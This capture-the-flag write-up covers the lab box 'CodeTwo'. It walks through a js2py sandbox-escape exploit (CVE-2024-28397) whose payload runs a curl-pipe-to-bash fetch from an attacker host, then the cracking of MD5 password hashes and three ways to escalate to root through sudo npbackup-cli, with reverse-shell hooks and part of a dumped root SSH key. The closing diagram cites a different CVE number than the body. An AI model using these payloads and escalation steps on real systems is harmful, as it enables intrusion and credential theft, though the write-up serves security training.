
Reconnaissance
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 a0:47:b4:0c:69:67:93:3a:f9:b4:5d:b3:2f:bc:9e:23 (RSA)
| 256 7d:44:3f:f1:b1:e2:bb:3d:91:d5:da:58:0f:51:e5:ad (ECDSA)
|_ 256 f1:6b:1d:36:18:06:7a:05:3f:07:57:e1:ef:86:b4:85 (ED25519)
8000/tcp open http Gunicorn 20.0.4
|_http-title: Welcome to CodeTwo
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Besides the SSH port there’s only a Python web server listening on port 8080.
Execution

The web page on port 8000 seems to be an open source application allowing developers to run their JavaScript code. There are three buttons to login, register a new account and download the application itself. Doing the latter prompts me to save a ZIP file and after extracting it I can check out the Python source code.
js2py is used to translate JavaScript code into Python. Unfortunately the option to import Python code via pyimport is disabled1.
from flask import Flask, render_template, request, redirect, url_for, session, jsonify, send_from_directory
from flask_sqlalchemy import SQLAlchemy
import hashlib
import js2py
import os
import json
js2py.disable_pyimport()
app = Flask(__name__)
app.secret_key = 'S3cr3tK3yC0d3Tw0'
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///users.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
db = SQLAlchemy(app)
# --- SNIP ---
@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
password_hash = hashlib.md5(password.encode()).hexdigest()
new_user = User(username=username, password_hash=password_hash)
db.session.add(new_user)
db.session.commit()
return redirect(url_for('login'))
return render_template('register.html')
# --- SNIP ---
@app.route('/run_code', methods=['POST'])
def run_code():
try:
code = request.json.get('code')
result = js2py.eval_js(code)
return jsonify({'result': result})
except Exception as e:
return jsonify({'error': str(e)})
if __name__ == '__main__':
with app.app_context():
db.create_all()
app.run(host='0.0.0.0', debug=True)Checking out the requirements.txt of the application I can spot the version 0.74 of js2py is in use. A quick search for that particular version returns CVE-2024-28397 with a proof-of-concept available.
flask==3.0.3
flask-sqlalchemy==3.1.1
js2py==0.74After creating an account and logging in there’s a text box to insert my payload. I modify the PoC to retrieve a shell from my web server and pipe the result to bash. This drops me into a shell as app in /home/app/app.
let cmd = "curl http://10.10.10.10/shell.sh | bash"
let hacked, bymarve, n11
let getattr, obj
hacked = Object.getOwnPropertyNames({})
bymarve = hacked.__getattribute__
n11 = bymarve("__getattribute__")
obj = n11("__class__").__base__
getattr = obj.__getattribute__
function findpopen(o) {
let result;
for(let i in o.__subclasses__()) {
let item = o.__subclasses__()[i]
if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
return item
}
if(item.__name__ != "type" && (result = findpopen(item))) {
return result
}
}
}
n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log(n11)
n11Privilege Escalation
Shell as marco
As app I have access to the SQLite3 database holding all the registered users (and their code) in ./instance/users.db. Besides my own account the database contains the MD5 hash for marco and app.
$ sqlite3 /home/app/app/instance/users.db
SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
sqlite> .tables
code_snippet user
sqlite> select * from user;
1|marco|649c9d65a206a75f5abe509fe128bce5
2|app|a97588c0e2fa3a024876339e27aeb42e
3|ryuki|9e6e246c78abe1e6e94be598f6b6ab1aWithin a few moments hashcat is able to recover the cleartext password for marco and returns sweetangelbabylove. This lets me change the context and collect the first flag.
Shell as root
A check for any sudo privileges reveals the user marco can run npbackup-cli as anyone. This binary is part of npbackup and can be used to create backups as the name suggests. Lucky for me the home directory contains a sample configuration npbackup.conf that does backup the web app and I can modify it to fit my needs.
$ sudo -l
Matching Defaults entries for marco on codetwo:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User marco may run the following commands on codetwo:
(ALL : ALL) NOPASSWD: /usr/local/bin/npbackup-cliMethod 1
First and most straightforward way of escalating the privileges is to backup the /root directory. In order to do so I copy the config file to root.conf and replace the paths with /root/.
conf_version: 3.0.1
audience: public
repos:
default:
repo_uri:
__NPBACKUP__wd9051w9Y0p4ZYWmIxMqKHP81/phMlzIOYsL01M9Z7IxNzQzOTEwMDcxLjM5NjQ0Mg8PDw8PDw8PDw8PDw8PD6yVSCEXjl8/9rIqYrh8kIRhlKm4UPcem5kIIFPhSpDU+e+E__NPBACKUP__
repo_group: default_group
backup_opts:
paths:
- /root/
source_type: folder_list
exclude_files_larger_than: 0.0
repo_opts:
repo_password:
__NPBACKUP__v2zdDN21b0c7TSeUZlwezkPj3n8wlR9Cu1IJSMrSctoxNzQzOTEwMDcxLjM5NjcyNQ8PDw8PDw8PDw8PDw8PD0z8n8DrGuJ3ZVWJwhBl0GHtbaQ8lL3fB0M=__NPBACKUP__
retention_policy: {}
prune_max_unused: 0
prometheus: {}
env: {}
is_protected: false
--- SNIP ---Then I create a new backup while supplying the modified configuration. After the command reports success I can list all files with --ls and then dump the SSH key for the root user with --dump /root/.ssh/id_rsa.
$ sudo /usr/local/bin/npbackup-cli --config-file ./root.conf --backup
2025-08-17 10:48:42,754 :: INFO :: npbackup 3.0.1-linux-UnknownBuildType-x64-legacy-public-3.8-i 2025032101 - Copyright (C) 2022-2025 NetInvent running as root
2025-08-17 10:48:42,782 :: INFO :: Loaded config 09F15BEC in /home/marco/root.conf
2025-08-17 10:48:42,792 :: INFO :: Searching for a backup newer than 1 day, 0:00:00 ago
2025-08-17 10:48:44,922 :: INFO :: Snapshots listed successfully
2025-08-17 10:48:44,923 :: INFO :: No recent backup found in repo default. Newest is from 2025-04-06 03:50:16.222832+00:00
2025-08-17 10:48:44,923 :: INFO :: Runner took 2.13144 seconds for has_recent_snapshot
2025-08-17 10:48:44,923 :: INFO :: Running backup of ['/root/'] to repo default
2025-08-17 10:48:46,082 :: INFO :: Trying to expanding exclude file path to /usr/local/bin/excludes/generic_excluded_extensions
2025-08-17 10:48:46,082 :: ERROR :: Exclude file 'excludes/generic_excluded_extensions' not found
2025-08-17 10:48:46,083 :: INFO :: Trying to expanding exclude file path to /usr/local/bin/excludes/generic_excludes
2025-08-17 10:48:46,083 :: ERROR :: Exclude file 'excludes/generic_excludes' not found
2025-08-17 10:48:46,083 :: INFO :: Trying to expanding exclude file path to /usr/local/bin/excludes/windows_excludes
2025-08-17 10:48:46,083 :: ERROR :: Exclude file 'excludes/windows_excludes' not found
2025-08-17 10:48:46,083 :: INFO :: Trying to expanding exclude file path to /usr/local/bin/excludes/linux_excludes
2025-08-17 10:48:46,083 :: ERROR :: Exclude file 'excludes/linux_excludes' not found
2025-08-17 10:48:46,083 :: WARNING :: Parameter --use-fs-snapshot was given, which is only compatible with Windows
no parent snapshot found, will read all files
Files: 15 new, 0 changed, 0 unmodified
Dirs: 8 new, 0 changed, 0 unmodified
Added to the repository: 190.612 KiB (39.884 KiB stored)
processed 15 files, 197.660 KiB in 0:00
snapshot 2c7c00c7 saved
2025-08-17 10:48:47,213 :: INFO :: Backend finished with success
2025-08-17 10:48:47,215 :: INFO :: Processed 197.7 KiB of data
2025-08-17 10:48:47,215 :: ERROR :: Backup is smaller than configured minmium backup size
2025-08-17 10:48:47,216 :: ERROR :: Operation finished with failure
2025-08-17 10:48:47,216 :: INFO :: Runner took 4.424931 seconds for backup
2025-08-17 10:48:47,216 :: INFO :: Operation finished
2025-08-17 10:48:47,223 :: INFO :: ExecTime = 0:00:04.472220, finished, state is: errors.
$ sudo /usr/local/bin/npbackup-cli --config-file ./root.conf --ls
2025-08-17 10:49:02,808 :: INFO :: npbackup 3.0.1-linux-UnknownBuildType-x64-legacy-public-3.8-i 2025032101 - Copyright (C) 2022-2025 NetInvent running as root
2025-08-17 10:49:02,837 :: INFO :: Loaded config 09F15BEC in /home/marco/root.conf
2025-08-17 10:49:02,847 :: INFO :: Showing content of snapshot latest in repo default
2025-08-17 10:49:04,946 :: INFO :: Successfully listed snapshot latest content:
snapshot 2c7c00c7 of [/root] at 2025-08-17 10:48:46.092291167 +0000 UTC by root@codetwo filtered by []:
/root
/root/.bash_history
/root/.bashrc
/root/.cache
/root/.cache/motd.legal-displayed
/root/.local
/root/.local/share
/root/.local/share/nano
/root/.local/share/nano/search_history
/root/.mysql_history
/root/.profile
/root/.python_history
/root/.sqlite_history
/root/.ssh
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.vim
/root/.vim/.netrwhist
/root/root.txt
/root/scripts
/root/scripts/backup.tar.gz
/root/scripts/cleanup.sh
/root/scripts/cleanup_conf.sh
/root/scripts/cleanup_db.sh
/root/scripts/cleanup_marco.sh
/root/scripts/npbackup.conf
/root/scripts/users.db
2025-08-17 10:49:04,947 :: INFO :: Runner took 2.100062 seconds for ls
2025-08-17 10:49:04,947 :: INFO :: Operation finished
2025-08-17 10:49:04,953 :: INFO :: ExecTime = 0:00:02.146761, finished, state is: success.
$ sudo /usr/local/bin/npbackup-cli --config-file ./root.conf --dump /root/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEA9apNjja2/vuDV4aaVheXnLbCe7dJBI/l4Lhc0nQA5F9wGFxkvIEy
VXRep4N+ujxYKVfcT3HZYR6PsqXkOrIb99zwr1GkEeAIPdz7ON0pwEYFxsHHnBr+rPAp9d
EaM7OOojou1KJTNn0ETKzvxoYelyiMkX9rVtaETXNtsSewYUj4cqKe1l/w4+MeilBdFP7q
kiXtMQ5nyiO2E4gQAvXQt9bkMOI1UXqq+IhUBoLJOwxoDwuJyqMKEDGBgMoC2E7dNmxwJV
--- SNIP ---Method 2
Instead of backing up the root directory, the binary also allows the usage of pre and post execution scripts. Therefore I place a script with a reverse shell in /dev/shm and make it executable. Then I add this to pre_exec_commands or post_exec_commands in the configuration file before creating another backup.
pre_exec_commands: ['/dev/shm/shell.sh']
post_exec_commands: ['/dev/shm/shell.sh']Depending on the value chosen, the callback happens right before or after the creation of the backup.
$ sudo /usr/local/bin/npbackup-cli --config-file ./root.conf \
--backup \
--forceMethod 3
The --help command shows another interesting switch that allows me to supply an alternative external binary to be called. When I point this to my reverse shell script and create the backup, I also get a callback as root.
$ sudo /usr/local/bin/npbackup-cli --config-file ./root.conf \
--backup \
--external-backend-binary=/dev/shm/shell.shInfo
The configuration file specifies that a backup is only created if the last one is older than 24 hours (or 1440 minutes). This can be bypassed with
--force.
Attack Path
flowchart TD subgraph "Execution" A(Open Source Web Application) -->|Download Source Code| B(Dependency js2py) B -->|CVE-2024-23897| C(Shell as app) end subgraph "Privilege Escalation" C -->|Bruteforce MD5 hash in database| D(Shell as marco) D -->|Abuse npbackup| E(Shell as root) end
